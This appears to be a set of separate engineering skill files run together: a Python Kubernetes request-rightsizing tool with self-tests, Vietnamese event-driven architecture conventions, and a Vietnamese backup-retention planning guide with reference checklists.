raise DataError(f"line {line}: {col} must be a number, got {v!r}")
if x < 0:
raise DataError(f"line {line}: {col} must be >= 0")
return x
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
if not rd.fieldnames:
raise DataError("empty CSV")
missing = [c for c in COLUMNS if c not in {f.strip() for f in rd.fieldnames}]
if missing:
raise DataError("CSV header is missing: " + ", ".join(missing))
rows = []
for n, raw in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in raw.items() if k}
if not any(row.values()):
continue
r = {c: row[c] for c in ("namespace", "workload", "container")}
for c in COLUMNS[3:]:
r[c] = num(row, c, n)
if r["replicas"] < 1:
raise DataError(f"line {n}: replicas must be >= 1")
if r["cpu_p95_m"] > r["cpu_max_m"] or r["mem_p95_mi"] > r["mem_max_mi"]:
raise DataError(f"line {n}: p95 cannot be above max")
rows.append(r)
if not rows:
raise DataError("no data rows")
return rows
def analyze(r, headroom=0.15, keep_cpu_limits=False):
h = 1 + headroom
rec = {
"cpu_request_m": max(10, up(r["cpu_p95_m"] * h, 5)),
"mem_request_mi": max(32, up(r["mem_p95_mi"] * h, 16)),
}
rec["cpu_limit_m"] = max(up(r["cpu_max_m"] * 1.2, 50), up(2 * rec["cpu_request_m"], 50)) if keep_cpu_limits else None
rec["mem_limit_mi"] = max(rec["mem_request_mi"], up(r["mem_max_mi"] * 1.25, 16))
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
cr, cl, mr, ml = r["cpu_request_m"], r["cpu_limit_m"], r["mem_request_mi"], r["mem_limit_mi"]
oom = r["oom_kills"] or 0
if oom > 0:
f("CRITICAL", "OOM_RISK", f"{oom:g} OOM kill(s); memory max {r['mem_max_mi']:g}Mi vs limit {fmt(ml, 'Mi')}")
elif ml and r["mem_max_mi"] >= 0.95 * ml:
f("CRITICAL", "OOM_RISK", f"memory max {r['mem_max_mi']:g}Mi is {r['mem_max_mi'] / ml:.0%} of the {ml:g}Mi limit")
if cr is None or mr is None:
f("HIGH", "NO_REQUESTS", "missing " + " and ".join(x for x, v in (("cpu request", cr), ("memory request", mr)) if v is None))
if mr and r["mem_p95_mi"] > mr:
f("HIGH", "MEM_UNDER_REQUEST", f"memory p95 {r['mem_p95_mi']:g}Mi > request {mr:g}Mi")
th = r["throttled_pct"] or 0
if th >= 25:
f("HIGH", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}; usage is capped, so real demand is higher")
elif th >= 10:
f("MEDIUM", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}")
if cr and r["cpu_p95_m"] > 1.2 * cr:
f("MEDIUM", "CPU_UNDER_REQUEST", f"cpu p95 {r['cpu_p95_m']:g}m > 1.2 x request {cr:g}m")
if ml is None:
f("MEDIUM", "NO_MEMORY_LIMIT", "no memory limit set")
over = []
if cr and rec["cpu_request_m"] < 0.5 * cr:
over.append(f"cpu {cr:g}m -> {rec['cpu_request_m']}m")
if mr and rec["mem_request_mi"] < 0.5 * mr:
over.append(f"memory {mr:g}Mi -> {rec['mem_request_mi']}Mi")
if over:
f("LOW", "OVERPROVISIONED", "; ".join(over))
if r["days"] is not None and r["days"] < 7:
f("LOW", "SHORT_WINDOW", f"only {r['days']:g} days of data")
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
status = findings[0]["severity"] if findings and findings[0]["severity"] != "LOW" else "OK"
n = r["replicas"]
d_cpu = ((cr or 0) - rec["cpu_request_m"]) * n
d_mem = ((mr or 0) - rec["mem_request_mi"]) * n
return {"id": f"{r['namespace']}/{r['workload']}/{r['container']}", "replicas": int(n), "current": {
"cpu_request_m": cr, "cpu_limit_m": cl, "mem_request_mi": mr, "mem_limit_mi": ml},
"recommended": rec, "delta_cpu_m": d_cpu, "delta_mem_mi": d_mem, "status": status, "findings": findings}
def run(text, headroom=0.15, keep_cpu_limits=False, core_month=None, gib_month=None):
res = [analyze(r, headroom, keep_cpu_limits) for r in read_rows(text)]
res.sort(key=lambda x: (SEV_ORDER.get(x["status"], 4), x["id"]))
tot_cpu = sum(x["delta_cpu_m"] for x in res) / 1000
tot_mem = sum(x["delta_mem_mi"] for x in res) / 1024
out = {"containers": res, "freed_cores": round(tot_cpu, 3), "freed_gib": round(tot_mem, 3)}
if core_month is not None and gib_month is not None:
out["monthly_saving"] = round(tot_cpu * core_month + tot_mem * gib_month, 2)
return out
def fmt(v, unit):
return "none" if v is None else f"{v:g}{unit}"
def report(out, headroom):
L = ["# Kubernetes rightsizing report", "",
f"Requests = p95 + {headroom:.0%} headroom; CPU limits removed unless kept; memory limit = max x 1.25.", "",
"| Container | Replicas | Status | CPU req | CPU limit | Mem req | Mem limit |",
"|---|---|---|---|---|---|---|"]
for x in out["containers"]:
c, r = x["current"], x["recommended"]
L.append(f"| {x['id']} | {x['replicas']} | {x['status']} | {fmt(c['cpu_request_m'], 'm')} -> {r['cpu_request_m']}m"
f" | {fmt(c['cpu_limit_m'], 'm')} -> {fmt(r['cpu_limit_m'], 'm')}"
f" | {fmt(c['mem_request_mi'], 'Mi')} -> {r['mem_request_mi']}Mi"
f" | {fmt(c['mem_limit_mi'], 'Mi')} -> {r['mem_limit_mi']}Mi |")
L += ["", "## Findings"]
any_f = False
for x in out["containers"]:
for f in x["findings"]:
any_f = True
L.append(f"- {f['severity']} {f['code']} {x['id']}: {f['message']}")
if not any_f:
L.append("- none")
L += ["", "## Requests freed (negative = more needed)",
f"- CPU: {out['freed_cores']:g} cores", f"- Memory: {out['freed_gib']:g} GiB"]
if "monthly_saving" in out:
L.append(f"- Estimated monthly saving: {out['monthly_saving']:,.2f}")
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
hdr = ",".join(COLUMNS) + "\n"
def row(**kw):
base = dict(namespace="ns", workload="w", container="c", replicas=1, cpu_request_m=500, cpu_limit_m=1000,
mem_request_mi=512, mem_limit_mi=1024, cpu_p50_m=100, cpu_p95_m=200, cpu_max_m=300,
mem_p50_mi=200, mem_p95_mi=300, mem_max_mi=400, throttled_pct=0, oom_kills=0, days=14)
base.update(kw)
return ",".join("" if base[c] is None else str(base[c]) for c in COLUMNS) + "\n"
def one(**kw):
return run(hdr + row(**kw))["containers"][0]
def codes(x):
return {(f["severity"], f["code"]) for f in x["findings"]}
x = one()
ok("cpu request = p95 x 1.15 rounded to 5m (230)", x["recommended"]["cpu_request_m"] == 230)
ok("mem request = 300 x 1.15 = 345 -> 352Mi", x["recommended"]["mem_request_mi"] == 352)
ok("mem limit = 400 x 1.25 = 500 -> 512Mi", x["recommended"]["mem_limit_mi"] == 512)
ok("cpu limit removed by default", x["recommended"]["cpu_limit_m"] is None)
ok("healthy container is OK", x["status"] == "OK")
ok("headroom 0.25 changes cpu request (250)", run(hdr + row(), headroom=0.25)["containers"][0]["recommended"]["cpu_request_m"] == 250)
k = run(hdr + row(), keep_cpu_limits=True)["containers"][0]["recommended"]["cpu_limit_m"]
ok("kept cpu limit = max(360->400, 460->500) = 500", k == 500)
ok("minimums 10m / 32Mi", one(cpu_p50_m=0, cpu_p95_m=1, cpu_max_m=2, mem_p50_mi=1, mem_p95_mi=2, mem_max_mi=3)["recommended"]
== {"cpu_request_m": 10, "mem_request_mi": 32, "cpu_limit_m": None, "mem_limit_mi": 32})
ok("OOM kills -> CRITICAL", ("CRITICAL", "OOM_RISK") in codes(one(oom_kills=2)) and one(oom_kills=2)["status"] == "CRITICAL")
ok("max at 98% of limit -> OOM_RISK", ("CRITICAL", "OOM_RISK") in codes(one(mem_max_mi=1004, mem_p95_mi=500)))
ok("missing requests -> HIGH NO_REQUESTS", ("HIGH", "NO_REQUESTS") in codes(one(cpu_request_m=None)))
ok("mem p95 above request -> HIGH", ("HIGH", "MEM_UNDER_REQUEST") in codes(one(mem_request_mi=256)))
ok("throttling 30% -> HIGH", ("HIGH", "CPU_THROTTLED") in codes(one(throttled_pct=30)))
ok("throttling 12% -> MEDIUM", ("MEDIUM", "CPU_THROTTLED") in codes(one(throttled_pct=12)))
ok("cpu p95 > 1.2 x request -> MEDIUM", ("MEDIUM", "CPU_UNDER_REQUEST") in codes(one(cpu_request_m=150)))
ok("no memory limit -> MEDIUM", ("MEDIUM", "NO_MEMORY_LIMIT") in codes(one(mem_limit_mi=None)))
big = one(cpu_request_m=2000, mem_request_mi=4096)
ok("overprovisioned flagged LOW, status stays OK", ("LOW", "OVERPROVISIONED") in codes(big) and big["status"] == "OK")
ok("short window flagged", ("LOW", "SHORT_WINDOW") in codes(one(days=3)))
two = run(hdr + row(replicas=3) + row(workload="b", replicas=2, cpu_request_m=100, mem_request_mi=256),
core_month=20, gib_month=4)
# w: (500-230)*3=810m, (512-352)*3=480Mi ; b: (100-230)*2=-260m, (256-352)*2=-192Mi
ok("freed cores = (810-260)/1000 = 0.55", two["freed_cores"] == 0.55)
ok("freed GiB = (480-192)/1024 = 0.281", two["freed_gib"] == 0.281)
ok("monthly saving = 0.55 x 20 + 0.28125 x 4 = 12.125", abs(two["monthly_saving"] - 12.125) < 0.01)
ok("sorted by severity", two["containers"][0]["id"] == "ns/b/c")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + row(cpu_p95_m="x"), "bad number"),
(hdr + row(cpu_p95_m=900), "p95 above max"), (hdr + row(replicas=0), "zero replicas"),
(hdr + row(cpu_p95_m=None), "missing usage")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Rightsize Kubernetes container requests and limits from usage percentiles.")
ap.add_argument("file", nargs="?", help="CSV with the columns listed in the module docstring")
ap.add_argument("--headroom", type=float, default=15, help="percent added to p95 for requests (default 15)")
ap.add_argument("--keep-cpu-limits", action="store_true", help="recommend CPU limits instead of removing them")
ap.add_argument("--core-month", type=float, help="price of one requested core per month")
ap.add_argument("--gib-month", type=float, help="price of one requested GiB of memory per month")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
out = run(open(a.file, encoding="utf-8").read(), a.headroom / 100, a.keep_cpu_limits, a.core_month, a.gib_month)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(out, indent=2) if a.json else report(out, a.headroom / 100), end="\n" if a.json else "")
return 1 if any(x["status"] in ("CRITICAL", "HIGH") for x in out["containers"]) else 0
if __name__ == "__main__":
sys.exit(main())Các quy ước mang tính định hướng rõ ràng để thiết kế các hệ thống hướng sự kiện và dựa trên thông điệp (message-based) đáng tin cậy.
# Kiến trúc Hướng sự kiện taste của một kỹ sư hệ thống phân tán - Sử dụng sự kiện (events) để thông báo những sự việc đã xảy ra (OrderPlaced), và chỉ dùng lệnh (commands) cho các yêu cầu gửi tới một chủ sở hữu duy nhất (ChargeCard). Độ tin cậy: 0.90 - Đặt tên sự kiện ở thì quá khứ bằng ngôn ngữ nghiệp vụ (domain language), tuyệt đối không đặt theo tên bảng hoặc dịch vụ phát sinh ra nó. Độ tin cậy: 0.85 - Định nghĩa mọi sự kiện bằng một lược đồ có đánh phiên bản (Avro, Protobuf hoặc JSON Schema) trong một kho đăng ký (registry) và kiểm tra tính tương thích trong CI. Độ tin cậy: 0.90 - Chỉ phát triển lược đồ bằng các thay đổi tương thích ngược (backward-compatible); phát hành một loại sự kiện mới cho các thay đổi gây phá vỡ (breaking changes). Độ tin cậy: 0.85 - Giả định cơ chế chuyển phát ít nhất một lần (at-least-once delivery) và đảm bảo mọi consumer đều có tính lũy đẳng (idempotent) bằng một khóa khử trùng lặp (deduplication key). Độ tin cậy: 0.95 - Phát hành sự kiện thông qua mẫu hộp thư đi có giao dịch (transactional outbox pattern) để các thao tác ghi cơ sở dữ liệu và thông điệp không bao giờ bị lệch nhau. Độ tin cậy: 0.90 - Đưa đầy đủ event id, type, version, timestamp, correlation id và causation id vào trong mọi vỏ bọc thông điệp (envelope). Độ tin cậy: 0.85 - Giữ cho phần dữ liệu (payload) của sự kiện đủ độc lập cho các consumer phổ biến, nhưng không đổ toàn bộ các khối tổng hợp (aggregates) vào đó. Độ tin cậy: 0.75 - Phân vùng (partition) theo aggregate id khi thứ tự xử lý là quan trọng, và không bao giờ phụ thuộc vào thứ tự toàn cục (global ordering). Độ tin cậy: 0.85 - Định tuyến các thông điệp lỗi (poison messages) tới hàng đợi thư chết (dead-letter queue) sau một số lần thử lại có giới hạn kèm theo thời gian chờ tăng dần theo cấp số nhân (exponential backoff) và độ nhiễu ngẫu nhiên (jitter). Độ tin cậy: 0.90 - Cảnh báo dựa trên độ trễ của consumer (consumer lag) và độ sâu của hàng đợi thư chết, chứ không chỉ dựa vào tình trạng hoạt động của broker. Độ tin cậy: 0.90 - Lan truyền ngữ cảnh truy vết (trace context) thông qua các tiêu đề thông điệp (message headers) để có thể theo dõi một yêu cầu xuyên suốt qua nhiều dịch vụ. Độ tin cậy: 0.85 - Sử dụng mẫu saga với các hành động bù trừ (compensating actions) tường minh cho các quy trình đa dịch vụ thay vì dùng giao dịch phân tán (distributed transactions). Độ tin cậy: 0.80 - Ưu tiên cơ chế tự phối hợp (choreography) cho các luồng đơn giản và chỉ dùng bộ điều phối chuyên biệt (orchestrator) khi một quy trình có nhiều hơn một vài bước. Độ tin cậy: 0.70 - Chỉ sử dụng Event Sourcing ở những nơi mà việc lưu vết kiểm toán (audit trail) hoặc truy vấn theo thời gian (temporal queries) là yêu cầu thực sự. Độ tin cậy: 0.75 - Đảm bảo việc phát lại (replay) luôn an toàn: các consumer phải chịu được việc xử lý lại lịch sử sự kiện từ bất kỳ vị trí offset nào. Độ tin cậy: 0.80 - Thiết lập thời gian lưu trữ (retention) khớp với khoảng thời gian mà các consumer có thể cần để xây dựng lại trạng thái, và ghi tài liệu rõ ràng cho từng topic. Độ tin cậy: 0.70 - Giao mỗi topic cho một nhóm sở hữu duy nhất chịu trách nhiệm kiểm soát lược đồ và vòng đời của nó. Độ tin cậy: 0.85 - Giữ lại các lời gọi đồng bộ (synchronous calls) cho những truy vấn cần câu trả lời ngay lập tức; không ép buộc mô hình yêu cầu-phản hồi (request-response) phải đi qua hàng đợi. Độ tin cậy: 0.80 - Kiểm thử các consumer bằng kiểm thử hợp đồng (contract tests) đối chiếu với lược đồ đã đăng ký và kiểm thử các producer bằng kiểm thử tích hợp hộp thư đi (outbox integration tests). Độ tin cậy: 0.80 - Duy trì một danh mục sống (AsyncAPI hoặc tương tự) ghi nhận đầy đủ các topic, producer và consumer. Độ tin cậy: 0.75
Lập kế hoạch và kiểm toán các chính sách lưu giữ bản sao lưu (ông-cha-con / grandfather-father-son). Mô phỏng các quy tắc giữ lại theo giờ, ngày, tuần, tháng và năm giống như restic hoặc borg, liệt kê các điểm khôi phục thực sự được giữ lại và khoảng trống giữa chúng, đồng thời ước tính dung lượng lưu trữ và chi phí hiện tại cũng như trong 12 tháng tới. Đánh dấu RPO bị bỏ lỡ, lịch sử ngắn, thiếu hụt lưu giữ pháp lý, không có bản sao ngoài cơ sở (offsite) hoặc bất biến (immutable), các bài kiểm tra khôi phục đã cũ và sự chồng chéo tác vụ. Bao gồm một trình lập kế hoạch Python dùng thư viện chuẩn với tùy chọn --self-test.
---
name: backup-retention-policy-planner
description: Lập kế hoạch và kiểm toán các chính sách lưu giữ bản sao lưu (ông-cha-con / grandfather-father-son). Mô phỏng các quy tắc giữ lại theo giờ, ngày, tuần, tháng và năm giống như restic hoặc borg, liệt kê các điểm khôi phục thực sự được giữ lại và khoảng trống giữa chúng, đồng thời ước tính dung lượng lưu trữ và chi phí hiện tại cũng như trong 12 tháng tới. Đánh dấu RPO bị bỏ lỡ, lịch sử ngắn, thiếu hụt lưu giữ pháp lý, không có bản sao ngoài cơ sở (offsite) hoặc bất biến (immutable), các bài kiểm tra khôi phục đã cũ và sự chồng chéo tác vụ. Bao gồm một trình lập kế hoạch Python dùng thư viện chuẩn với tùy chọn --self-test.
---
# Trình lập kế hoạch chính sách lưu giữ bản sao lưu
Bạn giúp các kỹ sư và các nhóm CNTT nhỏ thiết kế một chính sách lưu giữ bản sao lưu mà họ có thể bảo vệ được: đủ điểm khôi phục để phục hồi từ sai lầm ngày hôm qua và lỗi hỏng dữ liệu âm thầm từ quý trước, một bản sao sống sót qua cuộc tấn công ransomware hoặc mất tài khoản, hóa đơn lưu trữ vừa với ngân sách, và quy trình khôi phục thực sự đã được kiểm thử. Bạn biến quy tắc "giữ 7 bản hàng ngày, 4 bản hàng tuần, 12 bản hàng tháng" thành danh sách cụ thể các điểm khôi phục mà nó tạo ra và đối chiếu với các yêu cầu.
## Các tệp trong kỹ năng này
- `scripts/retention_plan.py` - mô phỏng chính sách GFS, liệt kê các điểm khôi phục được giữ lại, các khoảng trống, dung lượng lưu trữ và chi phí, đồng thời in ra các phát hiện (chỉ dùng thư viện chuẩn Python 3)
- `references/retention-design.md` - cách các quy tắc giữ lại chọn điểm khôi phục, cách chọn các bậc (tier) từ nhu cầu RPO và lịch sử, lưu giữ pháp lý, các mô hình lưu trữ và chi phí
- `references/resilience-checklist.md` - quy tắc 3-2-1-1-0, tính bất biến (immutability), mã hóa và khóa, kiểm thử khôi phục, giám sát và ý nghĩa của từng phát hiện
- `templates/backup-policy.md` - mẫu chính sách sao lưu dài một trang để điền vào và chia sẻ với nhóm
- `examples/clinic-postgres-policy.json` - cơ sở dữ liệu PostgreSQL được sao lưu hàng đêm lên S3 với RPO 4 giờ và thời gian lưu giữ pháp lý 3 năm
## Quy trình làm việc
### 1. Thu thập thông tin thực tế
Hỏi về: những gì được sao lưu và bằng cách nào (công cụ, sao lưu toàn phần hay tăng dần), tần suất sao lưu và thời gian chạy một lần mất bao lâu, các quy tắc giữ lại hiện tại, kích thước dữ liệu, tỷ lệ thay đổi hàng ngày và mức tăng trưởng, nơi lưu trữ các bản sao (tại chỗ, ngoài cơ sở, bất biến/khóa đối tượng, được mã hóa), giá lưu trữ, ngày kiểm thử khôi phục thành công gần nhất, và các yêu cầu: RPO (mức mất dữ liệu tối đa), họ phải có khả năng khôi phục lùi về quá khứ bao xa, bất kỳ yêu cầu lưu giữ pháp lý hoặc theo hợp đồng nào, và ngân sách lưu trữ. Nếu họ không biết tỷ lệ thay đổi, hãy bắt đầu với mức 2-5% mỗi ngày đối với cơ sở dữ liệu và 1% đối với chia sẻ tệp, đồng thời nêu rõ giả định đó.
### 2. Chạy trình lập kế hoạch
```
python3 scripts/retention_plan.py examples/clinic-postgres-policy.json
python3 scripts/retention_plan.py policy.json --json
python3 scripts/retention_plan.py --self-test
```
Mã thoát 1 có nghĩa là có các phát hiện mức HIGH, 2 có nghĩa là đầu vào không hợp lệ.
### 3. Giải thích kết quả
Bắt đầu với các điểm khôi phục mà họ thực sự có (số lượng, bản cũ nhất, các khoảng trống lớn nhất) vì hầu hết mọi người đều đánh giá quá cao chúng. Sau đó đi qua các phát hiện theo mức độ nghiêm trọng bằng cách sử dụng `references/retention-design.md` và `references/resilience-checklist.md`, đồng thời đưa ra một thay đổi cụ thể cho từng vấn đề: quy tắc giữ lại mới, vận chuyển WAL hoặc nhật ký (log shipping) cho RPO chặt chẽ, khóa đối tượng (object lock), ngày diễn tập khôi phục. Chạy lại trình lập kế hoạch với chính sách được đề xuất và hiển thị dung lượng lưu trữ cũng như chi phí trước và sau khi thay đổi.
### 4. Bàn giao
Điền vào `templates/backup-policy.md` với các quy tắc giữ lại cuối cùng, các bản sao, yêu cầu, kế hoạch kiểm thử khôi phục và người phụ trách.
## Kết quả ví dụ
Đối với `examples/clinic-postgres-policy.json` (sao lưu hàng đêm, giữ 7 bản hàng ngày, 4 bản hàng tuần, 6 bản hàng tháng): 14 điểm khôi phục, bản cũ nhất 4,8 tháng, khoảng trống lên tới 31 ngày sau tháng đầu tiên, 968 GB hiện tại và 1550 GB sau 12 tháng (22,27 đến 35,66 USD/tháng). Các phát hiện: HIGH RPO_MISSED (sao lưu 24 giờ một lần so với RPO 4 giờ; cần thêm lưu trữ WAL hoặc sao lưu tăng dần mỗi 4 giờ), HIGH LEGAL_RETENTION (cần 3 năm; hãy đặt bậc hàng năm thành 5), MEDIUM RESTORE_TEST_OLD (193 ngày), MEDIUM NO_IMMUTABLE, MEDIUM STORAGE_OVER (1550 GB so với ngân sách 1500 GB sau 12 tháng).
## Quy tắc
- Một bản sao lưu chưa bao giờ được khôi phục thử thì chưa được chứng minh là hoạt động. Luôn hỏi về lần kiểm thử khôi phục gần nhất và khuyến nghị một buổi diễn tập có bấm giờ.
- Các quy tắc giữ lại đếm theo các khung thời gian (bucket), không phải số ngày: "monthly 12" giữ lại bản sao lưu mới nhất của mỗi tháng trong 12 tháng gần nhất có bản sao lưu, bao gồm cả tháng hiện tại.
- Nêu rõ mô hình lưu trữ mà bạn đã giả định; ước tính sao lưu tăng dần (incremental) là mức trần vì việc chống trùng lặp (deduplication) và các thay đổi khối lặp đi lặp lại làm cho kích thước thực tế nhỏ hơn.
- RPO được quyết định bởi tần suất sao lưu (hoặc log shipping), không phải bởi thời gian lưu giữ; độ sâu lịch sử được quyết định bởi thời gian lưu giữ, không phải bởi tần suất.
- Không bao giờ đề xuất xóa các bản sao lưu hiện có cho đến khi chính sách mới đã chạy và việc khôi phục từ chính sách đó đã được kiểm thử.
FILE:references/retention-design.md
# Thiết kế chính sách lưu giữ
## Cách các quy tắc giữ lại chọn điểm khôi phục
Các công cụ như restic (`forget --keep-daily 7 --keep-weekly 4`), borg (`prune --keep-daily 7`), pgBackRest và hầu hết các thiết bị sao lưu chuyên dụng đều sử dụng chung một ý tưởng. Đối với mỗi bậc (tier), duyệt qua các bản sao lưu từ mới nhất đến cũ nhất và giữ lại một bản sao lưu khi khung thời gian (bucket) của nó khác với bản cuối cùng được giữ lại bởi bậc đó, cho đến khi dùng hết số lượng của bậc đó:
| Bậc | Khung thời gian (Bucket) | "giữ N" có nghĩa là |
|---|---|---|
| hourly | giờ theo lịch | bản sao lưu mới nhất của mỗi giờ trong N giờ gần nhất có bản sao lưu |
| daily | ngày theo lịch | bản sao lưu mới nhất của mỗi ngày trong N ngày gần nhất |
| weekly | tuần ISO (Thứ Hai đến Chủ Nhật) | bản sao lưu mới nhất của mỗi tuần trong N tuần gần nhất |
| monthly | tháng theo lịch | bản sao lưu mới nhất của mỗi tháng trong N tháng gần nhất |
| yearly | năm theo lịch | bản sao lưu mới nhất của mỗi năm trong N năm gần nhất |
Những hệ quả mà mọi người thường bỏ sót:
- Mọi bậc đều bắt đầu bằng bản sao lưu mới nhất, vì vậy các bậc có sự chồng lấn. 7 daily + 4 weekly + 12 monthly là 20 điểm, không phải 23.
- Tuần, tháng và năm hiện tại mỗi thứ được tính là một khung thời gian. "monthly 12" chỉ lùi về trước khoảng 11 tháng, và "yearly 3" chỉ lùi về đến cuối năm kia (khoảng 1,8 năm nếu tính vào cuối tháng Mười).
- Các điểm hàng tháng là các bản sao lưu cuối tháng (mới nhất trong mỗi tháng), các điểm hàng tuần là các bản sao lưu ngày Chủ Nhật đối với tuần ISO.
- Những ngày không có bản sao lưu không làm tiêu tốn một vị trí (slot) hàng ngày, vì vậy một tuần bị lỗi sẽ kéo dài lịch sử hàng ngày lùi xa hơn về trước nhưng lại để lại một lỗ hổng.
`scripts/retention_plan.py` tái tạo quy tắc này, in ra mọi điểm được giữ lại cùng với các bậc của nó (D/W/M/Y/H) và liệt kê các khoảng trống lớn nhất.
## Chọn các bậc từ yêu cầu
| Yêu cầu | Yếu tố quyết định | Câu trả lời điển hình |
|---|---|---|
| RPO (mức mất dữ liệu tối đa) | tần suất sao lưu hoặc log shipping | 24 giờ: hàng đêm; 1-4 giờ: snapshot hoặc sao lưu tăng dần hàng giờ; tính bằng phút: lưu trữ WAL/binlog của cơ sở dữ liệu với khả năng khôi phục tại một thời điểm (point-in-time recovery) |
| Phục hồi từ sai lầm được phát hiện muộn | độ sâu hàng ngày và hàng tuần | ít nhất 14-35 ngày: khoảng thời gian cần thiết để ai đó nhận ra một đợt triển khai lỗi, một thư mục bị xóa hoặc một lần nhập dữ liệu hỏng |
| Lỗi hỏng dữ liệu âm thầm, kiểm toán | độ sâu hàng tháng | 6-13 tháng |
| Lưu giữ pháp lý hoặc theo hợp đồng | bậc hàng năm hoặc một kho lưu trữ riêng | N năm cần mức yearly N+2 để luôn có một điểm cũ N năm xuyên suốt cả năm; thường tốt hơn nếu tách thành một tác vụ lưu trữ riêng biệt với khóa bảo vệ riêng |
| Ngân sách | mô hình lưu trữ và tỷ lệ thay đổi | xem bên dưới |
Một điểm khởi đầu phổ biến, dễ bảo vệ cho dữ liệu doanh nghiệp: hourly 24 (nếu RPO < 24 giờ), daily 14, weekly 8, monthly 12, yearly theo yêu cầu của pháp luật.
Các khoảng trống: khi một bậc thô bắt đầu rất lâu sau khi bậc chi tiết kết thúc (ví dụ daily 7 rồi nhảy sang monthly), việc khôi phục trong khoảng từ ngày thứ 8 đến cuối tháng sẽ rơi vào một điểm cũ hơn tới 30 ngày so với điểm bạn mong muốn. Hãy thêm các điểm hàng tuần hoặc tăng thêm các điểm hàng ngày (`TIER_GAP`).
## Các mô hình lưu trữ
- **Full (Toàn phần)**: mọi điểm được giữ lại đều là một bản sao hoàn chỉnh (băng từ, các tệp dump đơn giản, một số bản xuất snapshot). Dung lượng lưu trữ = số điểm x kích thước toàn phần.
- **Incremental / deduplicated (Tăng dần / chống trùng lặp)** (restic, borg, pgBackRest incremental, ZFS/EBS snapshot): một bản toàn phần cộng với dữ liệu đã thay đổi giữa các điểm được giữ lại. Trình lập kế hoạch tính `daily_change_pct x days` giữa các điểm liền kề, giới hạn tối đa ở mức 100% kích thước toàn phần. Đây là mức trần: khi cùng các khối dữ liệu đó thay đổi mỗi ngày, khoảng trống một tháng sẽ tốn ít dung lượng hơn nhiều so với 30 ngày thay đổi cộng dồn. Hãy đo các con số thực tế bằng `restic stats --mode raw-data`, `borg info` hoặc hóa đơn lưu trữ và điều chỉnh `daily_change_pct`.
- Mức tăng trưởng: `growth_pct_per_month` tính lãi kép trong 12 tháng để hiển thị dung lượng lưu trữ và chi phí của năm tới.
Các đòn bẩy chi phí, từ rẻ nhất đến có tác động lớn nhất tới khả năng phục hồi: nén và chống trùng lặp; chuyển các điểm hàng tháng và hàng năm sang lớp lưu trữ lạnh hơn (lưu ý thời gian lưu trữ tối thiểu và phí truy xuất); bỏ các điểm hàng giờ sau 2-3 ngày; giảm các điểm hàng tháng sau khi nhu cầu pháp lý đã được đáp ứng bởi một bản lưu trữ hàng năm.
## Ví dụ minh họa
Sao lưu hàng đêm lúc 02:00, giữ daily 7, weekly 4, monthly 6, tính đến ngày 2026-10-24:
- daily: 10-24 lùi về 10-18
- weekly: 10-24 (tuần ISO hiện tại), 10-18, 10-11, 10-04
- monthly: 10-24, 09-30, 08-31, 07-31, 06-30, 05-31
- 14 điểm riêng biệt; bản cũ nhất là 2026-05-31 (khoảng 4,8 tháng); các khoảng trống sau tháng đầu tiên là 30-31 ngày.
FILE:references/resilience-checklist.md
# Danh sách kiểm tra khả năng chống chịu
## Quy tắc 3-2-1-1-0
- **3** bản sao dữ liệu (bản production cộng với hai bản sao lưu)
- **2** loại hoặc hệ thống lưu trữ khác nhau
- **1** bản sao ngoài cơ sở - offsite (một vùng, nhà cung cấp hoặc tòa nhà khác)
- **1** bản sao bất biến hoặc ngoại tuyến (khóa đối tượng ở chế độ tuân thủ, lưu trữ WORM, băng từ lấy ra khỏi thư viện, bản sao lưu dạng kéo mà hệ thống nguồn không thể xóa)
- **0** lỗi trong lần khôi phục đã xác minh gần nhất
## Ý nghĩa của từng phát hiện và cách khắc phục
| Mã | Mức độ nghiêm trọng | Tại sao điều này quan trọng | Cách khắc phục điển hình |
|---|---|---|---|
| RPO_MISSED | HIGH | Sự cố xảy ra ngay trước lần sao lưu tiếp theo làm mất nhiều dữ liệu hơn mức doanh nghiệp chấp nhận | Khoảng thời gian ngắn hơn, sao lưu tăng dần hàng giờ, hoặc vận chuyển nhật ký liên tục (lưu trữ PostgreSQL WAL với pgBackRest/WAL-G, MySQL binlog, sao lưu nhật ký SQL Server) |
| HISTORY_SHORT | HIGH | Các vấn đề được phát hiện muộn (nhập dữ liệu lỗi, thư mục bị xóa, hỏng dữ liệu chậm) không thể hoàn tác | Thêm nhiều điểm hàng ngày/hàng tuần hơn; ít nhất bằng thời gian cần thiết để phát hiện sự cố cộng với một khoảng dự phòng |
| LEGAL_RETENTION | HIGH | Các quy định hợp đồng, thuế hoặc hồ sơ y tế có thể yêu cầu lưu giữ lịch sử nhiều năm | Bậc hàng năm ở mức N+2 hoặc một tác vụ lưu trữ hàng năm riêng biệt có khóa đối tượng được đặt theo thời hạn pháp lý |
| NO_OFFSITE | HIGH | Hỏa hoạn, mất điện toàn vùng hoặc tài khoản bị xâm phạm sẽ xóa sổ cả môi trường production lẫn bản sao lưu cùng lúc | Nhân bản sang vùng/nhà cung cấp khác với thông tin xác thực riêng biệt |
| NEVER_RESTORED | HIGH | Các bản sao lưu thất bại âm thầm: thiếu tệp, sai quyền truy cập, mất khóa mã hóa, sổ tay vận hành (runbook) chưa được kiểm thử | Diễn tập khôi phục ngay; ghi lại thời gian thực hiện (RTO thực tế) |
| OVERLAP | HIGH | Các tác vụ va chạm hoặc bị bỏ qua, khiến khoảng cách thực tế dài hơn kế hoạch | Sao lưu tăng dần, thiết bị lưu trữ nhanh hơn, hoặc khoảng cách dài hơn kết hợp với vận chuyển nhật ký (log shipping) |
